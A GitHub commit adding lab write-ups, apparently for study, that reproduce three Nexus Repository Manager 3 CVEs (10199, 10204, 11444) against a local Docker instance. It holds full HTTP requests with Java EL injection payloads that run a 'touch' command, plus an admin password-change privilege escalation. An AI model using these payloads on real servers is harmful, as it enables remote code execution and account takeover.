Skip to content

Commit c296857

Browse files
author
“threedr3am”
committed
Merge branch 'nexus'
2 parents ea61297 + e93a761 commit c296857

File tree

5 files changed

+258
-0
lines changed

5 files changed

+258
-0
lines changed

‎nexus/CVE-2020-10199/README.md‎

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
CVE-2020-10199 Nexus Repository Manager 3
2+
3+
影响版本：<= 3.21.1
4+
Affected Versions: All previous Nexus Repository Manager 3.x OSS/Pro versions up to and including 3.21.1
5+
6+
Fixed in Version: Nexus Repository Manager OSS/Pro version 3.21.2
7+
8+
### 1. 拉取镜像
9+
```
10+
docker pull sonatype/nexus3:3.21.1
11+
```
12+
13+
### 2. 创建nexus数据目录
14+
```
15+
mkdir /your-dir/nexus-data && chown -R 200 /your-dir/nexus-data
16+
```
17+
18+
### 3. 运行nexus docker镜像
19+
```
20+
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /your-dir/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3::3.21.1
21+
```
22+
23+
### 4. github下载源码 & idea远程debug
24+
```
25+
git clone https://github.com/sonatype/nexus-public.git
26+
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
27+
```
28+
idea创建远程debug-启动
29+
```
30+
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050
31+
```
32+
33+
### 5. 登陆任何一个账号
34+
35+
### 6. 调用接口
36+
1. 创建CleanupPolicy：
37+
```
38+
POST /service/extdirect HTTP/1.1
39+
Host: 127.0.0.1:8081
40+
Content-Length: 381
41+
Pragma: no-cache
42+
Cache-Control: no-cache
43+
Sec-Fetch-Dest: empty
44+
X-Requested-With: XMLHttpRequest
45+
X-Nexus-UI: true
46+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
47+
NX-ANTI-CSRF-TOKEN: 0.047908797369389244
48+
Content-Type: application/json
49+
Accept: */*
50+
Origin: http://127.0.0.1:8081
51+
Sec-Fetch-Site: same-origin
52+
Sec-Fetch-Mode: cors
53+
Referer: http://127.0.0.1:8081/
54+
Accept-Encoding: gzip, deflate, br
55+
Accept-Language: zh-CN,zh;q=0.9
56+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.047908797369389244; NXSESSIONID=56f75e54-fa62-43af-8f61-595c1a84c7bc
57+
Connection: close
58+
59+
{"action":"cleanup_CleanupPolicy","method":"create","data":[{"name":"threedr3am","format":"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}","notes":"222","mode":"delete","lastBlobUpdatedEnabled":false,"lastDownloadedEnabled":false,"releaseTypeEnabled":false,"regexEnabled":false,"criteria":{}}],"type":"rpc","tid":33}
60+
```
61+
62+
2. 创建repositories：
63+
```
64+
POST /service/rest/beta/repositories/apt/hosted HTTP/1.1
65+
Host: 127.0.0.1:8081
66+
Content-Length: 342
67+
Pragma: no-cache
68+
Cache-Control: no-cache
69+
accept: application/json
70+
Sec-Fetch-Dest: empty
71+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
72+
NX-ANTI-CSRF-TOKEN: 0.047908797369389244
73+
Content-Type: application/json
74+
Origin: http://127.0.0.1:8081
75+
Sec-Fetch-Site: same-origin
76+
Sec-Fetch-Mode: cors
77+
Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
78+
Accept-Encoding: gzip, deflate, br
79+
Accept-Language: zh-CN,zh;q=0.9
80+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.047908797369389244; NXSESSIONID=56f75e54-fa62-43af-8f61-595c1a84c7bc
81+
Connection: close
82+
83+
{
84+
"name": "interna1l",
85+
"online": true,
86+
"storage": {
87+
"blobStoreName": "default",
88+
"strictContentTypeValidation": true,
89+
"writePolicy": "allow_once"
90+
},
91+
"cleanup": {
92+
"policyNames": ["threedr3am"]
93+
},
94+
"apt": {
95+
"distribution": "bionic"
96+
},
97+
"aptSigning": {
98+
"keypair": "string",
99+
"passphrase": "string"
100+
}
101+
}
102+
```

‎nexus/CVE-2020-10204/README.md‎

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
CVE-2020-10204 Nexus Repository Manager 3
2+
3+
影响版本：<= 3.21.1
4+
Affected Versions: All previous Nexus Repository Manager 3.x OSS/Pro versions up to and including 3.21.1
5+
6+
Fixed in Version: Nexus Repository Manager OSS/Pro version 3.21.2
7+
8+
### 1. 拉取镜像
9+
```
10+
docker pull sonatype/nexus3:3.21.1
11+
```
12+
13+
### 2. 创建nexus数据目录
14+
```
15+
mkdir /your-dir/nexus-data && chown -R 200 /your-dir/nexus-data
16+
```
17+
18+
### 3. 运行nexus docker镜像
19+
```
20+
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /your-dir/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3::3.21.1
21+
```
22+
23+
### 4. github下载源码 & idea远程debug
24+
```
25+
git clone https://github.com/sonatype/nexus-public.git
26+
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
27+
```
28+
idea创建远程debug-启动
29+
```
30+
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050
31+
```
32+
漏洞点在 org.sonatype.nexus.common.template.EscapeHelper#stripJavaEl 被绕过
33+
34+
### 5. 登陆任何一个账号
35+
36+
### 6. 调用更新role接口
37+
1. 利用更新用户接口：
38+
```
39+
POST /service/extdirect HTTP/1.1
40+
Host: 127.0.0.1:8081
41+
Content-Length: 301
42+
accept: application/json
43+
Sec-Fetch-Dest: empty
44+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
45+
NX-ANTI-CSRF-TOKEN: 0.16936373694860252
46+
Content-Type: application/json
47+
Origin: http://127.0.0.1:8081
48+
Sec-Fetch-Site: same-origin
49+
Sec-Fetch-Mode: cors
50+
Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
51+
Accept-Encoding: gzip, deflate, br
52+
Accept-Language: zh-CN,zh;q=0.9
53+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.16936373694860252; NXSESSIONID=4e5437b3-7755-4784-bda6-d004e8f589fb
54+
Connection: close
55+
56+
{"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"[email protected]","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"]}],"type":"rpc","tid":9}
57+
```
58+
59+
2. 利用创建角色接口：
60+
```
61+
POST /service/extdirect HTTP/1.1
62+
Host: 127.0.0.1:8081
63+
Content-Length: 294
64+
accept: application/json
65+
Sec-Fetch-Dest: empty
66+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
67+
NX-ANTI-CSRF-TOKEN: 0.856555763510765
68+
Content-Type: application/json
69+
Origin: http://127.0.0.1:8081
70+
Sec-Fetch-Site: same-origin
71+
Sec-Fetch-Mode: cors
72+
Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
73+
Accept-Encoding: gzip, deflate, br
74+
Accept-Language: zh-CN,zh;q=0.9
75+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=da418706-f4e4-468e-93ac-de9c46802f11
76+
Connection: close
77+
78+
{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"1111","name":"2222","description":"3333","privileges":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"],"roles":[]}],"type":"rpc","tid":89}
79+
```

‎nexus/CVE-2020-11444/README.md‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
CVE-2020-11444 Nexus Repository Manager 3
2+
3+
影响版本：<= 3.21.2
4+
Affected Versions: All previous Nexus Repository Manager 3 OSS/Pro versions up to and including 3.21.2
5+
6+
Fixed in Version: Nexus Repository Manager OSS/Pro version 3.22.0
7+
8+
### 1. 拉取镜像
9+
```
10+
docker pull sonatype/nexus3:3.21.2
11+
```
12+
13+
### 2. 创建nexus数据目录
14+
```
15+
mkdir /your-dir/nexus-data && chown -R 200 /your-dir/nexus-data
16+
```
17+
18+
### 3. 运行nexus docker镜像
19+
```
20+
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /your-dir/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3::3.21.2
21+
```
22+
23+
### 4. github下载源码 & idea远程debug
24+
```
25+
git clone https://github.com/sonatype/nexus-public.git
26+
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
27+
```
28+
idea创建远程debug-启动
29+
```
30+
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050
31+
```
32+
漏洞点在 org.sonatype.nexus.security.internal.rest.UserApiResource#changePassword 接口
33+
34+
新版本在 org.sonatype.nexus.security.internal.DefaultSecuritySystem#changePassword(java.lang.String, java.lang.String, boolean) 修复
35+
36+
### 5. 登陆任何一个账号
37+
38+
### 6. 调用更新role接口
39+
数据包：
40+
```
41+
PUT /service/rest/beta/security/users/admin/change-password HTTP/1.1
42+
Host: 127.0.0.1:8081
43+
Content-Length: 6
44+
accept: application/json
45+
Sec-Fetch-Dest: empty
46+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
47+
NX-ANTI-CSRF-TOKEN: 0.6080434247960143
48+
Content-Type: text/plain
49+
Origin: http://127.0.0.1:8081
50+
Sec-Fetch-Site: same-origin
51+
Sec-Fetch-Mode: cors
52+
Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
53+
Accept-Encoding: gzip, deflate, br
54+
Accept-Language: zh-CN,zh;q=0.9
55+
Cookie: NX-ANTI-CSRF-TOKEN=0.6080434247960143; NXSESSIONID=af3706e2-dc9e-47fa-9739-edb6b3d512fe
56+
Connection: close
57+
58+
123456
59+
```
60+
61+
### 7. 使用admin & 123456登陆，获得最高管理员权限

‎nexus/pom.xml‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>learn-java-bug</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>nexus</artifactId>
13+
14+
15+
</project>

‎pom.xml‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@
2323
<module>cas</module>
2424
<module>ShardingSphere-UI</module>
2525
<module>shiro</module>
26+
<module>nexus</module>
2627
</modules>
2728

2829
<name>learn-java-bug</name>

0 commit comments

Comments
 (0)